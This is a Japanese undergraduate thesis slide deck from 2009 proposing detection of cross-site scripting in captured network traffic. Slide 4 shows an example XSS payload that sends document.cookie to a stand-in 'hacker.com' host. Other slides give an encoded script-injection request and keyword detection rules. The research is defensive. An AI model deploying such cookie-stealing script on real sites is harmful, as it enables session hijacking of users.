第1回卒論進捗報告 - GOTO Laboratory

後藤研究室
1G05R191-9 米山 諒
卒業論文発表 2009/2/4
1

インターネットの普及に伴い,クロスサイトスクリプティング
(XSS), Phishing, SQL-Injection など Web 上の脆弱性
が問題視されている。


脆弱性を持つサイトが数多く存在する。
未対応のまま放置されているものもある。

Web サーバ側の対応だけでは十分ではない。
卒業論文発表 2009/2/4
2



増加傾向にある Web 上の脆弱性による脅威を防ぐ
ために,Web サーバの外で対策を行う。
クライアント側の対策では,ユーザの操作や設定に
よって機能を無効化してしまう恐れがある。
サーバとクライアントの中継地点での対策を提案する。
卒業論文発表 2009/2/4
3
悪意のあるスクリプトを含んだ URI
<HTML>
<BODY>
http://victim.com/foo.cgi?q=
<html_javascript_exploit_code>
<B>Web Page Content</B>
The JavaScript code within
the URL is echoed by the
website and executed in the
users browser.
click
<SCRIPT>
var img = new Image();
Img.src =
‘http://hacker.com/’
+document.cookie;
</SCRIPT>
</BODY>
</HTML>
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
–
–
–
–
–
–
–
–
–
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
10.19.19.1
–
–
–
–
–
–
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET /cookie_data
HTTP/1.1” 200 335
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
“GET / HTTP/1.1” 200 81
卒業論文発表 2009/2/4
4






Cookie を盗まれてセッションハイジャックされる。
意図しない Web サイトの機能を実行される。
ページの任意の部分を変更される。
DoS 攻撃に利用される。
Phishing (フィッシング詐欺) に利用される。
マルウェアをダウンロードさせられる。
卒業論文発表 2009/2/4
5

ネットワーク上を流れるトラフィックデータを利用して,
クロスサイトスクリプティング (XSS) の検知を行う。
1. tcpdump のデータから HTTP ヘッダを抽出する。
2. HTTP ヘッダから GET メソッドを抽出する。
3. GET メソッドで渡される引数を解析して検知する。
イーサネット
IP ヘッダ TCP ヘッダ
ヘッダ
アプリケーション
データ
イーサネット
トレーラ
メッセージヘッダー
空行 (CR+LF)
メッセージボディ
卒業論文発表 2009/2/4
6
HTTPリクエスト
(スクリプトの抽入)
HTTPリクエスト
攻撃者
レスポンス
HTTPリクエスト
一般ユーザ
Webサーバ
GET /xss.cgi?
form=%3Cscript%3Ealert(XSS)%3C%2Fscript%3E
Host: www.exsample.com
Accept: text/html;
Accept-Language: ja, en-us;
Accept-Encoding: gzip,defate
Accept-Charset: Shift_JIS,utf-8;
Cookie: SSID=123abc
卒業論文発表 2009/2/4
7
1. サンプルデータによる提案手法の検知精度
◦ XSSed – XSS (Cross-Site Scripting) information and
vulnerable websites archive
 http://www.xssed.com/
◦ XSS Workshop
 http://blogged-on.de/xss/
◦ XSS Challenges
 http://xss-quiz.int21h.jp/
2. 実際のトラフィックデータへ提案手法の適用
◦ 早稲田大学のトラフィックデータを利用する。
卒業論文発表 2009/2/4
8

提案手法A の検知ルール
◦
◦
◦
◦

<script> タグ
javascript: によるスクリプト
onClick イベント
onMouseOver イベント
検知手法B の検知ルール
◦ <script> タグ
◦ javascript: によるスクリプト
◦ イベントハンドラ (正規表現によるマッチング)
卒業論文発表 2009/2/4
9
Internet
Router
Waseda
Network
Router
Capturing
Machine
卒業論文発表 2009/2/4
10
パケット数 GET メソッド 提案手法A 提案手法B
1,004,804


76,116
5,016
5,066
パケット数は HTTP パケットの総数
GET メソッドには画像ファイルなどの呼び出しを含む
卒業論文発表 2009/2/4
11

<script> タグ
◦ エンコードで隠ぺいしたスクリプトの検知が可能であった。

Javascript: によるスクリプト
◦ 確実に検知できることを確認できた。

イベントハンドラ
◦ 属性値が「’」もしくは「”」で囲まれているものを検知できた。
卒業論文発表 2009/2/4
12
検知した XSS のパケット数 [packet]
100
90
提案手法A
80
提案手法B
70
60
50
40
30
20
10
0
卒業論文発表 2009/2/4
13
まとめ
 サーバとクライアントの中継地点の対策を提案した。
 HTTP ヘッダ中の GET メソッドの特徴を利用すること
で,クロスサイトスクリプティング (XSS) の検知が可能
であることを示した。
今後の課題
 検知の精度 (見逃しと誤検知)
 リアルタイムでの検知
卒業論文発表 2009/2/4
14
卒業論文発表 2009/2/4
15

Snort
◦ TCP, UDP, ICMP, IP の解析を行うことができる。
◦ 上記以外のプロトコルについては記録のみを行う。

Proxy サーバ
◦ Proxy サーバを利用して,HTTP プロトコルを解析する。
◦ HTML 文章まで解析することで検知を行うことができる。
卒業論文発表 2009/2/4
16
メソッド
GET
POST
PUT
HEAD
DELETE
OPTIONS
TRACE
CONNECT
内容
リソースの取得
エンティティボディの転送
ファイルの転送
メッセージヘッダーの取得
ファイルの削除
サポートしているメソッドの問い合わせ
経路の調査
プロキシへのトンネリング要求
卒業論文発表 2009/2/4
17
GET http://www.exsample.com/ HTTP/1.1
リクエストライン
Accept: image/gif, image/x-xbitmap, image/jpeg,, */*
Accept-Language: ja
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept-Encoding: gzip, deflate
Host: www.exsample.com
Proxy-Connection: Keep-Alive
各種ヘッダーフィールド
空行 (CR+LF)
卒業論文発表 2009/2/4
18
HTTP/1.0 200 OK
Date: Wed, 22 Sep 2004 05:21:33 GMT
Server: Apache
Last-Modified: Fri, 28 May 2004 12:27:38 GMT
Etag: "6eb21-291-40b7303a"
Accept-Ranges: bytes
Content-Length: 657
Content-Type: text/html
Proxy-Connection: keep-alive
空行 (CR+LF)
<html>
<head>
・・・
</html>
ステータスライン
各種ヘッダーフィールド
メッセージボディ
卒業論文発表 2009/2/4
19
ハンドラ名
onBlur
onClick
onChange
onFocus
onLoad
onMouseOver
onSelect
onSubmit
onUnload
イベントの発生するタイミング
フォーカスが外れたとき
クリックされたとき
フィールドの内容が変更されたとき
フォーカスされたとき
読み込みが完了したとき
要素上にマウスカーソルが重なったとき
フィールドが選択されたとき
フォームの内容を送信したとき
別ページに移動するとき
卒業論文発表 2009/2/4
20
表示
&
<
>
"
‘
実体参照
&amp;
&lt;
&gt;
&quot;
&apos;
UTF-8
%25
%3C
%3E
%22
%27
卒業論文発表 2009/2/4
21
HTTP リクエスト
Internet
Client PC
レスポンス
Web Server
卒業論文発表 2009/2/4
22